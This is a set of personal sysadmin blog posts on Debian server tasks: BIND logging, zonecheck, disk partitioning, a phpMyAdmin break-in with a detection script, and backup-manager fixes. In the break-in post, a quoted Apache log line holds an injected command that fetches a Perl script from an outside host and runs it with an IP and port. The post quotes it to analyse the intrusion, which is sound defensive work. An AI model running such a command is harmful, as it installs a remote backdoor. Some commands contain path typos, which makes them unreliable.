Willing wheels

When I tried to debug bind (secondary dns no longer got updated), I noticed that my log file defined in /etc/bind/named.conf.local (within ‘logging’ section) was not found where it was supposed to be. Basically my named.conf.local file was like this:

logging{
channel simple_log {
file “/var/log/bind/bind9.log” versions 3 size 5m;
severity debug;
print-time yes;
print-severity yes;
print-category yes;
};
category default{
simple_log;
};

and no corresponding physical file was found, not even  /var/log/bind folder.

Looking at /var/log/syslog.conf, I found the following two lines:

Jul 27 19:30:34 stock named[12988]: logging channel ‘simple_log’ file ‘/var/log/bind/bind9.log’: file not found
Jul 27 19:30:34 stock named[12988]: isc_log_open ‘/var/log/bind/bind9.log’ failed: file not found

Incredibly, if you do not create the log file yourself, bind does not do it on its own.

To have bind perform required logging, simply create the appropriate log files and grant appropriate write rights to ‘bind’ user.
In my case, I ran:

1. mkdir /var/log/bind9.log
2. touch /var/log/bind/bind9.log
3. chown bind /var/log/bind/bind9.log
4. restart bind: /etc/init.d/bind9 restart

sources

• http://www.linuxquestions.org/questions/linux-server-73/bind-9-not-logging-to-custom-logs-626429/

When you handle a domain name in .fr, AFNIC first check the domain name with zonecheck and if this test fails, then dns is not updated. As such it’s better to check your target dns first with zonecheck and then ask for the transfer.

Let’s say I want to redirect domain name mydomain.com to two new dns servers: dns1.com & dns2.com.

Here are the steps:

1. before all, install zonecheck:

   apt-get install zonecheck

2. perform your test:

   zonecheck --ns "dns1.com;dns2.com" mydomain.com

3. if you have a success, then it’s great. Otherwise you can perform the test with additional debugging using appropriate verbose option:

   zonecheck -v o --ns "dns1.com;dns2.com" mydomain.com

For more information, refer to man page of zonecheck.

Of importance is the fact of having to wrap the list of your dns server names into double quotes, without them the script will not run properly.

sources

• http://www.zonecheck.fr/doc/man/zonecheck.cli.shtml

Below are the steps I performed to add a new partition to my server.

Initial state

My initial partitioning is as follow:

remy@r12925:~$ sudo fdisk -l
Disk /dev/sda: 21.4 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot Start End Blocks Id System
/dev/sda1 * 1 392 3148708+ 83 Linux
/dev/sda2 393 1305 7333672+ 83 Linux

remy@r12925:~$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 3.0G 1.8G 1.1G 62% /
tmpfs 228M 8.0K 228M 1% /lib/init/rw
udev 10M 32K 10M 1% /dev
tmpfs 228M 0 228M 0% /dev/shm
/dev/root 4.6M 4.6M 0 100% /initrd
/dev/sda2 6.9G 4.1G 2.5G 63% /home

I’ve got more or less 10Go of space split between / and /home.

Now I want to add an extre 10G0 of space that will be used to store logs into a separate partition (so that they will no longer fill my disk-space and prevent apache, php & mysql from working properly) and to store backup files.

note: on this server, there is no swap space

Next step: we add our new partition

we will do this through the use of ‘fdisk’ tool and use the following commands :

• ‘p’ to print current partition state and check that everything is as expected
• ‘n’ to add a new partition
• ‘q’ to quit in case we did something wrong and we do not want to write changes
• ‘w’ to write down our changes once we are sure to get what we wanted

Below is an output of all successive commands I wrote so that you can adapt it to your own case:

remy@r12925:~$ sudo fdisk /dev/sda

The number of cylinders for this disk is set to 2610.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): p

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000a7b5b

Device Boot Start End Blocks Id System
/dev/sda1 * 1 392 3148708+ 83 Linux
/dev/sda2 393 1305 7333672+ 83 Linux

Command (m for help): n
Command action
e extended
p primary partition (1-4)
e
Partition number (1-4): 3
First cylinder (1306-2610, default 1306):
Using default value 1306
Last cylinder, +cylinders or +size{K,M,G} (1306-2610, default 2610):
Using default value 2610

Command (m for help): p

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000a7b5b

Device Boot Start End Blocks Id System
/dev/sda1 * 1 392 3148708+ 83 Linux
/dev/sda2 393 1305 7333672+ 83 Linux
/dev/sda3 1306 2610 10482412+ 5 Extended

Command (m for help): n
Command action
l logical (5 or over)
p primary partition (1-4)
l
First cylinder (1306-2610, default 1306):
Using default value 1306
Last cylinder, +cylinders or +size{K,M,G} (1306-2610, default 2610): +2G

Command (m for help): p

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000a7b5b

Device Boot Start End Blocks Id System
/dev/sda1 * 1 392 3148708+ 83 Linux
/dev/sda2 393 1305 7333672+ 83 Linux
/dev/sda3 1306 2610 10482412+ 5 Extended
/dev/sda5 1306 1567 2104483+ 83 Linux

Command (m for help): n
Command action
l logical (5 or over)
p primary partition (1-4)
l
First cylinder (1568-2610, default 1568):
Using default value 1568
Last cylinder, +cylinders or +size{K,M,G} (1568-2610, default 2610):
Using default value 2610

Command (m for help): p

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x000a7b5b

Device Boot Start End Blocks Id System
/dev/sda1 * 1 392 3148708+ 83 Linux
/dev/sda2 393 1305 7333672+ 83 Linux
/dev/sda3 1306 2610 10482412+ 5 Extended
/dev/sda5 1306 1567 2104483+ 83 Linux
/dev/sda6 1568 2610 8377866 83 Linux

Command (m for help):

————————————————————————–
If there are any mistakes just quit “fdisk” with a “q” and no changes will be saved. This looks right – so lets write our changes with a “w”

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.

Loading new partition

As we can see, a warning was issued, partprobe failed to run correctly and as such the new partition was not loaded into the server.

Unfortunately, even after installing ‘kpartx’ and ‘parted’ packages (apt-get install kpartx parted), running partprobe on my own as root failed as well.

remy@r12925:~$ sudo partprobe
Warning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Device or resource busy). As a result, it may not reflect all of your changes until after reboot.

As a consequence, I had to reboot the server completely

Mounting the new partitions

Know we want to mount our new partitions. We will keep 3G0 for logs and 7Go for backup. We will use the following mount points: /var/log & /var/backups.

We will perform the following steps:

1. set ext3 as the filesystem for our partitions
2. mv current content of /var/log & /var/backups into dummy folders (mounting it directly will make content of these folders ‘disappear’)
3. mount our partitions to /var/log & /var/backups
4. mv previous content back into their original locations (ie. in the newly mounted partitions)
5. if everything works as expected, we will add our mount points to /etc/fstab so that partitions will be automatically mounted upon server reboot

Below is the output of the steps I followed for my server so that you can have a look at it and customize it:

remy@r12925:~$ sudo mkfs.ext3 /dev/sda5
mke2fs 1.41.11 (14-Mar-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
131648 inodes, 526120 blocks
26306 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=541065216
17 block groups
32768 blocks per group, 32768 fragments per group
7744 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 37 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
remy@r12925:~$ sudo mkfs.ext3 /dev/sda6
mke2fs 1.41.11 (14-Mar-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
524288 inodes, 2094466 blocks
104723 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=2147483648
64 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.

——————————————————————————
Filesystem Hierarchy Standard (FHS)
remy@r12925:~$ sudo mkdir /zz_backup /zz_logs
remy@r12925:~$ sudo mv /var/backups/* /zz_backups
remy@r12925:~$ sudo mv /var/log/* /zz_logs

remy@r12925:~$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 3.0G 1.8G 1.1G 62% /
tmpfs 228M 8.0K 228M 1% /lib/init/rw
udev 10M 44K 10M 1% /dev
tmpfs 228M 0 228M 0% /dev/shm
/dev/root 4.6M 4.6M 0 100% /initrd
/dev/sda2 6.9G 4.1G 2.5G 63% /home
/dev/sda5 2.0G 68M 1.9G 4% /var/log
/dev/sda6 7.9G 147M 7.4G 2% /var/backups

remy@r12925:~$ sudo mv /zz_backups/* /var/backups/
remy@r12925:~$ sudo mv /zz_logs/* /var/log/
remy@r12925:~$ sudo rm -R /zz_backups /zz_logs

remy@r12925:~$ sudo vi /etc/fstab
/dev/sda1 / ext3 errors=remount-ro,noatime,nodiratime 0 1
/dev/sda2 /home ext3 defaults,noatime,nodiratime 0 2
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
/dev/uba none swap sw 0 0
/dev/sda5 /var/log ext3 defaults,noatime,nodiratime 1 1
/dev/sda6 /var/backups ext3 defaults 1 1
remy@r12925:~$ sudo mount -a

That’s it!

note: in case you mounted two or more partitions to the same mount point (due to a copy & paste error in your /etc/fstab file), do not panic! simply update /etc/fstab, unmount the mount points the number of times necessary for it to no longer be mounted (sudo umount <mount_point>), run “sudo mount -a”

sources

• http://linuxgazette.net/150/prestia.html
• http://forums.fedoraforum.org/archive/index.php/t-86903.html

Recently my server was hacked, looking at apache logs, I found weird entries close to hack date (determined through creation date of /var/www/.bash_history file which contained bash-history of nobody user with corresponding hack instructions):

194.2.70.187 – - [17/May/2010:21:26:33 +0200] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 511 “-” “-”
194.2.70.187 – - [17/May/2010:21:31:21 +0200] “GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1″ 400 511 “-” “-”

Such entries appeared many times, with different ip-address. What’s strange it’s that it looks like hacker was looking for a flaw in phpmyadmin, with many attempts to access it:

91.121.9.105 – - [17/May/2010:18:17:24 +0200] “GET /phpmyadmin/config.inc.php?w=uname HTTP/1.1″ 200 182 “-” “curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18″
91.121.9.105 – - [17/May/2010:18:17:24 +0200] “GET /phpmyadmin/config.inc.php?q=uname HTTP/1.1″ 200 182 “-” “curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18″

Attacks to phpmyadmin were attempted under multiple names: /phpmyadmin, /pma, /phpMyAdmin…

Worst of it, it looks like my server was hacked via phpmyadmin (I must admit it might not have been up-to-date):

188.24.224.56 – - [17/May/2010:23:27:51 +0200] “GET /phpmyadmin/config/config.inc.php?d=cd%20/tmp;wget%20rehashing.ucoz.com/cb.pl;perl%20cb.pl%2085.185.70.251%2017272 HTTP/1.1″ 200 419 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3″

This is with this query that hackers downloaded their script…

What have we learned?

1. try to keep your server up-to-date as much as possible (apt-get dist-upgrade)
2. to prevent hacks, avoid default names to access popular scripts. In my case, I changed /phpmyadmin url access to a more obscure | less standard name
   1. modify /etc/apache2/conf.d/phpmyadmin.conf and replace /phpmyadmin with a more obscure name (ex: myphpmyadmin)
   2. check apache config: apache2ctl configtest
   3. restart apache: /etc/init.d/apache2 restart

How to detect attacks quickly?

I’ve made a simple script that check for existence of .bash_history file for anonymous user in key locations and send an email alert to further investigate it. I’ve scheduled this script to run daily by putting it into /etc/cron.daily so that next time, I will be able to act quickly if same hack occurs. Here is the script:

#!/bin/sh
# this script tries to detect if server has been compromised looking for .bash_history file for user nobody
# author: Remy Damour
# date: June, 18, 2010

files="/var/www/.bash_history /tmp/.bash_history"

for i in $files
do
if [ -f $i ]; then
current_script=$(readlink -f $0)
creation_date=$(ls -l $i)
bash_content=$(cat $i)
echo "automatic check run by script " $current_script "

[possible hack]
following file was found for anonymous user: " $i"

[hack date] (= file-creation-date)
" $creation_date"

[executed commands]
" $bash_content "

[next steps]
- remove unexpected files found in /tmp (esp. perl scripts with .pl extension)
- run 'ps aux' and kill all processes launched by www-data user
- check apache logs /var/log/apache2/access.log at hack-date to see faulty script" | mail -s "[Alert] Server hacked!"
fi
done

sources

• apache logs: /etc/apache2/access.log
• http://www.directadmin.com/forum/showthread.php?t=12664

With a recent upgrade to version 0.7.9, I found that backup-manager was no longer properly verbose. It looks like being due to a bug in the code, corrected by provided patch file.

For more info, see bug report #248: http://bugzilla.backup-manager.org/show_bug.cgi?id=248

To patch backup-manager, proceed as follow:

• copy, paste & save below patch-content into ‘/usr/share/backup-manager/logger.diff’ file
• patch logger.sh file by running:

  patch /usr/share/backup-manager/logger.sh /usr/share/backup-manager/logger.diff

That’s it!

Verbose option should work properly by now.

sources

• http://bugzilla.backup-manager.org/show_bug.cgi?id=248

Patch (.diff file content)

55a56,58
> 		#when true, send stuff to syslog, otherwise simply print it if necessary
> 		bm_via_syslog="false"
>
60c63
<
---
>
64a68,70
>             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]; then
>             	bm_via_syslog="true"
>             fi
67a74,77
>             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
>                || [[ "$BM_LOGGER_LEVEL" == "info" ]]; then
>             	bm_via_syslog="true"
>             fi
70a81,90
>             if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
>                || [[ "$BM_LOGGER_LEVEL" == "info" ]]\
>                || [[ "$BM_LOGGER_LEVEL" == "warning" ]]; then
>             	bm_via_syslog="true"
>             fi
>         ;;
>         "error")
>         		# Errors are always sent to syslog & printed
>             bm_log_switch="true"
>             bm_via_syslog="true"
100c120,122
<         syslog $bm_log_level "${log_buffer}${message}"
---
>         if [[ "$bm_via_syslog" == "true" ]]; then
> 	        syslog $bm_log_level "${log_buffer}${message}"
> 	      fi
115,118c137,138
<     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]; then
<         bm_log_level="debug"
<         log "DEBUG: $@"
<     fi
---
>     bm_log_level="debug"
>     log "DEBUG: $@"
123,127c143,144
<     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
<     || [[ "$BM_LOGGER_LEVEL" == "info" ]]; then
<         bm_log_level="info"
<         log "$@"
<     fi
---
>     bm_log_level="info"
>     log "$@"
132,137c149,150
<     if [[ "$BM_LOGGER_LEVEL" == "debug" ]]\
<     || [[ "$BM_LOGGER_LEVEL" == "info" ]]\
<     || [[ "$BM_LOGGER_LEVEL" == "warning" ]]; then
<         bm_log_level="warning"
<         log "$@"
<     fi
---
>    bm_log_level="warning"
>    log "$@"

If you want to list all cron jobs, let’s say to track down a process running widly on its own every day , don’t forget to check the following:

• ls -l /var/spool/cron/crontabs

  then examine all user files

• check /etc/cron* folders content (cron.d, cron.hourly, cron.daily, cron.weekly, cron.monthly)

sources

• http://forums.fedoraforum.org/showthread.php?t=126946

I figured out that my backup-manager was running all alone by itself, despite me asking it to run through crontab already…

In fact, I don’t know why, a script was automatically installed in /etc/cron.daily.
This explains why I had the feeling that it was running all alone on its own…

Let’s desactivate this script:

sudo chmod a-x /etc/cron.daily/backup-manager

note: this script may have been generated automatically when I installed backup-manager. with v.0.7.9, which I installed recently on another machine, such cron script was not automatically created.

sources

• http://www.qc4blog.com/?p=945 contains instructions on how to list all your cron jobs to identify rogue scripts